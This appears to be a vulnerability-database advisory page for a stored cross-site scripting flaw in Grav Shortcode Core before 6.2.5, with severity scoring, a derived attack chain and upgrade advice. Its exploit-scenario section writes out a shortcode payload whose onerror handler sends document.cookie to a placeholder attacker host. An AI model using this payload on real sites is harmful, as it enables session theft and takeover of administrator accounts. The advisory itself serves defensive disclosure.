Skip to main content

Grav Shortcode Core CVE-2026-85599

| EUVDEUVD-2026-71022 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-04 VulnCheck GHSA-5xgg-wmqq-qr2g
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as low-privilege page-editor
  2. Delivery
    Embed malicious payload in [lorem] or [details] shortcode parameter
  3. Exploit
    Save page to Grav flat-file store
  4. Install
    Victim (admin) visits rendered page
  5. C2
    Browser executes injected JavaScript
  6. Execute
    Exfiltrate session token to attacker-controlled host
  7. Impact
    Use stolen token to impersonate admin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid Grav account with page-edit (content-authoring) permissions - the CVSS 4.0 PR:L metric confirms low-privilege authenticated access is needed. The Shortcode Core plugin must be installed and active on the target Grav instance. Beyond these two prerequisites, no special configuration is required: any page using [lorem] or [details] shortcodes where the attacker can control the parameter values is exploitable. Exploitation is further gated on at least one other user (ideally an administrator) visiting the crafted page (UI:P). Factors limiting exploitation: the attacker cannot trigger execution remotely without victim interaction; exploitation does not directly affect the server or its file system.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P) scores 5.1 (Medium), reflecting that exploitation requires low-privilege authenticated access (page-edit role) and passive user interaction (a victim must visit the page). The subsequent-system impact metrics SC:L/SI:L confirm the primary harm is limited to victim-browser script execution rather than direct server compromise. Despite the moderate score, the stored nature of this XSS elevates real-world risk above a typical reflected XSS: a single malicious page edit affects all future visitors, and if an administrator visits the page, their session cookie or CSRF token can be harvested to achieve full site takeover. No EPSS data, KEV listing, or public exploit code was provided, suggesting this is not currently under active automated exploitation. The primary constraint - requiring page-edit access - limits the attacker pool to trusted contributors or compromised accounts, which is realistic in multi-author Grav deployments.

Exploit ScenarioDerived

An attacker with a Grav contributor account navigates to a page editor and saves a page containing [lorem param="<img src=x onerror=fetch('https://attacker.com/c?c='+document.cookie)>"] or [details summary="<script>...exfil...</script>"]. When a site administrator subsequently visits that page, the injected script fires in the admin's browser, exfiltrating their session token to the attacker's server and enabling full site takeover without further credentials. No publicly available exploit code has been identified at time of analysis, but the attack technique is well-understood and trivially reproducible.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 04, 2026

Stored cross-site scripting in Grav Shortcode Core before 6.2.5 allows authenticated users with page-edit permissions to inject arbitrary HTML and JavaScript via the [lorem] tag parameter and [details] summary parameter, both of which are written to rendered pages without output escaping. Any visitor who loads an affected page - including site administrators - will have the injected script execute in their browser, enabling session hijacking, credential theft, or further privilege escalation against admin accounts. Vendor-released patch version 6.2.5 resolves both injection points; no public exploit or CISA KEV listing has been identified at time of analysis.

RemediationAI

Upgrade Grav Shortcode Core to version 6.2.5 or later, which escapes the [lorem] parameter and [details] summary attribute before rendering. The vendor advisory is available at https://github.com/getgrav/grav/security/advisories/GHSA-hvm8-wx3f-j774 and the VulnCheck advisory at https://www.vulncheck.com/advisories/grav-shortcode-core-before-6.2.5-stored-xss-via-unescaped-parameters. Where immediate upgrade is not possible, restrict page-edit access exclusively to fully trusted accounts, as this vulnerability requires that permission. Additionally, deploying a Content Security Policy (CSP) header that blocks inline scripts (script-src without 'unsafe-inline') would prevent injected payloads from executing in visitor browsers even if the vulnerable shortcodes remain on pages, though this may require auditing existing site functionality for CSP compatibility.

Affected VersionsENISA

grav 0 <6.2.5

Affected Packages

euvd grav fix: 6.2.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Grav is a flat-file PHP CMS; Shortcode Core is a first-party plugin that provides BBCode-style shortcode processing for page content. The plugin expands shortcode tags such as [lorem] (lorem ipsum placeholder text) and [details] (HTML disclosure widgets) by interpolating user-supplied shortcode attributes directly into the rendered HTML output without applying HTML entity encoding or any other sanitization. CWE-79 (Improper Neutralization of Input During Web Page Generation) describes this class precisely: untrusted data flows into an HTML context without escaping, allowing the browser to interpret it as markup rather than text. The affected CPE is cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*, covering all Grav/Shortcode Core versions prior to 6.2.5. Because Grav stores page content as flat files rather than a relational database, the injected payload persists as part of the page source and is served to every subsequent visitor.

Know when Grav gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

PR:L for required page-edit auth; S:C and C:L/I:L because injected script executes in victim browsers cross-origin from the server context.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Sep 04, 2026 - 13:02 EUVD

DescriptionCVE.org

Grav Shortcode Core before 6.2.5 contains stored cross-site scripting vulnerabilities in the [lorem] tag parameter and [details] summary parameter that are written to rendered pages without escaping. Attackers with page-edit access can inject arbitrary HTML and JavaScript that executes in the browsers of all page visitors, including administrators.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Low
Grav is a niche flat-file CMS with limited enterprise footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Grav

View all
CVE-2025-66294 HIGH POC
8.7 Dec 01

Server-side template injection (SSTI) in Grav (getgrav/grav) prior to 1.8.0-beta.27 allows an authenticated attacker hol

CVE-2025-66301 HIGH POC
8.6 Dec 01

Broken access control in Grav CMS (CWE-285) before 1.8.0-beta.27 lets an authenticated editor-level user escalate their

CVE-2025-50286 HIGH POC
8.1 Aug 06

A Remote Code Execution (RCE) vulnerability in Grav CMS v1.7.48 allows an authenticated admin to upload a malicious plug

CVE-2024-34082 CRITICAL POC
9.9 May 15

Grav is a file-based Web platform. Rated critical severity (CVSS 9.9), this vulnerability is remotely exploitable, low a

CVE-2021-47812 CRITICAL POC
9.8 Jan 16

GravCMS 1.10.7 allows unauthenticated remote attackers to write arbitrary YAML configuration files, leading to full serv

CVE-2026-65008 CRITICAL POC
9.3 Jul 21

Remote code execution in Grav CMS 2.0.4 (fixed in 2.0.7) lets an authenticated user holding the admin.pages or api.pages

CVE-2026-75827 CRITICAL POC
9.3 Aug 18

Remote code execution in Grav CMS before 2.0.15 allows attackers holding page-edit or blueprint-config privileges to wri

CVE-2026-75837 CRITICAL POC
9.3 Aug 18

Vertical privilege escalation in Grav CMS before 2.0.14 lets a delegated administrator holding only the admin.users perm

CVE-2026-75828 CRITICAL POC
9.3 Aug 18

Stored cross-site scripting in Grav CMS before 2.0.15 lets authenticated editors smuggle JavaScript event handlers past

CVE-2025-66844 CRITICAL POC
9.1 Dec 15

Server-side request forgery (SSRF) in Grav CMS versions prior to 1.7.49.5 allows remote authenticated attackers to make

CVE-2025-66299 HIGH POC
8.8 Dec 01

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (S

CVE-2026-72819 HIGH POC
8.7 Aug 14

Remote code execution in Grav CMS before 2.0.13 allows authenticated low-privilege users to plant and execute arbitrary

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy